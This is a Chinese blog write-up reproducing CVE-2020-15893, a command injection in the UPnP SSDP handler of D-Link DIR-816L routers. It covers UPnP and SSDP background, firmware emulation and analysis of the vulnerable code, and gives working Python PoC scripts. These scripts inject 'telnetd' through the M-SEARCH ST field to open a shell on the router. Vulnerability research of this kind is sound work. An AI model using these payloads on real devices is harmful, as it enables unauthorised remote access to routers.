美文网首页
CVE-2020-15893 d-link upnp comma

CVE-2020-15893 d-link upnp comma

作者: doinb1517 | 来源:发表于2022-12-27 15:15 被阅读0次

漏洞介绍

An issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. Universal Plug and Play (UPnP) is enabled by default on port 1900. An attacker can perform command injection by injecting a payload into the Search Target (ST) field of the SSDP M-SEARCH discover packet.

影响版本

2.06 & 2.06.B09_BETA及之前版本

CVSS:9.8 CRITICAL

背景知识

Upnp协议栈

UPnP全名是Universal Plug and Play,翻译过来就是即插即用,该协议的设计初衷是希望设备接入某个网络中之后,所有设备都知道新设备的加入,并且设备之间能够相互沟通,或者直接使用控制对方。
该设备基于TCP。UDP和HTTP协议,协议栈如下。

基本概念

  • UUID
    Universally Unique Identifier,通用唯一识别码。目的是让分布式系统中的所有元素,都有唯一辨识咨询,定义格式为:xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxxxxxx(8-4-4-16)
    分别为当前日期和时间,时钟序列,全局唯一的IEEE机器识别号,如果有网卡,从网卡mac地址获得,没有网卡以其他方式获得。
  • UDN
    单一设备名(Unique Device Name),基于UUID,表示一个设备。在不同的时间,对于同一个设备此值应该是唯一的。
  • URN
    URL的一种更新形式,统一资源名称(URN,Uniform Resource Name)。唯一标识一个实体的标识符,但是不能给出实体的位置。标识持久性Internet资源。URN可以提供一种机制,用于查找和检索定义特定命名空间的架构文件。尽管普通的URL可以提供类似的功能,但是在这方面,URN 更加强大并且更容易管理,因为 URN 可以引用多个 URL。
  • Mx
    1到5之间的一个值,表示最大的等待应答的秒数。
  • ST
    Seatch Targer,表示搜索的节点类型。

重要协议

SSDP协议

SSDP为整个upnp协议栈中的发现协议,当设备接入网络是即会向网络中的某个广播ip发送SSDP数据包,通知其他设备自己的加入,而其他设备收到该广播数据包之后,会以单播的形式来响应这条信息。广播包发送如下:

M-SEARCH * HTTP / 1.1  
host:239.255.255.250 :1900  
MAN:ssdp:discover  
MX:10  
ST:ssdp:all

该数据包类似HTTP,又被称为HTTPU协议(即基于UDP的HTTP)
接收到的回复单播数据包如下:

HTTP/1.1 200 OK\r\n
CACHE-CONTROL: max-age=120\r\n
ST: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
USN: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
EXT:\r\n
SERVER: RT-N56U/3.4.3.9 UPnP/1.1 MiniUPnPd/2.0\r\n
LOCATION: http://192.168.100.1:24795/rootDesc.xml\r\n
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n
01-NLS: 1652586384\r\n
BOOTID.UPNP.ORG: 1652586384\r\n
CONFIGID.UPNP.ORG: 1337\r\n
\r\n

可以利用python模拟发送HTTPU的广播数据包,获取局域网内的UPnp设备信息。

import socket
import re

ANY = "0.0.0.0"
DES_IP = "239.255.255.250"
PORT = 1900
xml_str = b'M-SEARCH * HTTP/1.0\r\n' \
    + b'HOST: 239.255.255.250:1900\r\n' \
    + b'MAN: "ssdp:discover"\r\n' \
    + b'MX: 3\r\n' \
    + b'ST: ssdp:all\r\n' \
    + b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n\r\n'

print(xml_str)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ANY, PORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
s.setsockopt(
    socket.IPPROTO_IP,
    socket.IP_ADD_MEMBERSHIP,
    socket.inet_aton(DES_IP) + socket.inet_aton(ANY)
)
s.setblocking(False)
s.sendto(xml_str, (DES_IP, PORT))
while True:
    try:
        data, address = s.recvfrom(2048)
    except Exception as e:
        pass
    else:
        print(address)
        print(data)
        print("####################################################################")

此外还可以利用SSDP协议进行反射型DDos攻击,参考链接如下:

https://blog.cloudflare.com/ssdp-100gbps/

漏洞复现

环境搭建

固件下载:http://legacyfiles.us.dlink.com/DIR-816L/REVB/FIRMWARE/

01.png

使用fap模拟固件,成功运行后访问192.168.0.1看到路由器后台页面

Github:https://github.com/liyansong2018/firmware-analysis-plus

2.png

poc参考链接:https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/

# python3
from socket import *
from os import *
from time import *
 
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
 
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.10.1", 1900))
s.close()
 
sleep(1)
system("telnet 192.168.10.1 8888")

首先搜索ssdp相关文件,找到./htdocs/upnp/ssdpcgi,继续查看该文件发现是软链接

3.png

分析文件/htdocs/cgibin,漏洞点在ssdpcgi_main中,用户可控的参数为ST

4.png

函数lxmldbc_system将传入的参数进行拼接,然后执行

5.png

此处有三种参数组合都可以执行POC,并不限于参考poc中给出的那一种

from socket import *
from os import *
from time import *
 
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
#payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
#payload += b'ST:urn:service:;telnetd -p 8899\r\n\r\n'
payload += b'ST:uuid:;telnetd -p 8899\r\n\r\n'
 
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.0.1", 1900))
s.close()
 
sleep(1)
system("telnet 192.168.0.1 8899")

执行poc后我们即可通过telnet连入路由器中。

6.png

规则防护

72.png

参考链接:

1、https://forum.butian.net/share/1827

相关文章

  • P2P 网络核心技术:UPnP 和 SSDP 协议

    背景知识 UPnP, Universal Plug and Play,中文是 “通用即插即用”。在理解 UPnP ...

  • D-Link authentication.cgi 缓冲区溢出漏

    D-Link authentiction 缓冲区溢出漏洞 漏洞介绍 D-Link DIR-645中authenti...

  • UPnP协议利用

    1.UPnP介绍 UPnP为即插即用的缩写(Universal Plug and Play)是一套网络协议。适用于...

  • Comma

    In C and C++, comma (,) can be used in two contexts: Comm...

  • Comma

    标点符号出题频率约11.3%,很重要。这里我们先看看逗号的使用。 逗号Comma 1.逗号用来分隔一系列单词、词组...

  • Interface

    4.1 Comma Separated Value. *Comma Separated Value *or CSV...

  • 初识Upnp😴

    1Upnp简介 ? 由通用即插即用论坛推广的一套网络协议。该协议的目标是使得家庭网络和公司网络中的各种设备...

  • D-Link推出全高清Wi-Fi相机 :16英尺夜视+实时报警

    在去年,知名网络设备制造商友讯(D-Link)就曾推出过多款高清智能摄像头产品。而近日,有消息称,D-Link又再...

  • UPnP设置列表

    ID | 应用描述 | 外部端口 | 协议类型 | 内部端口 | IP地址 | 状态----...

  • DLNA和Upnp

    DLNA介绍一、DNLA的建立二、DLNA的成员三、DLNA标准的制定四、DLNA的设备五、DLNA的架构六、云时...

网友评论

      本文标题:CVE-2020-15893 d-link upnp comma

      本文链接:https://www.haomeiwen.com/subject/upegqdtx.html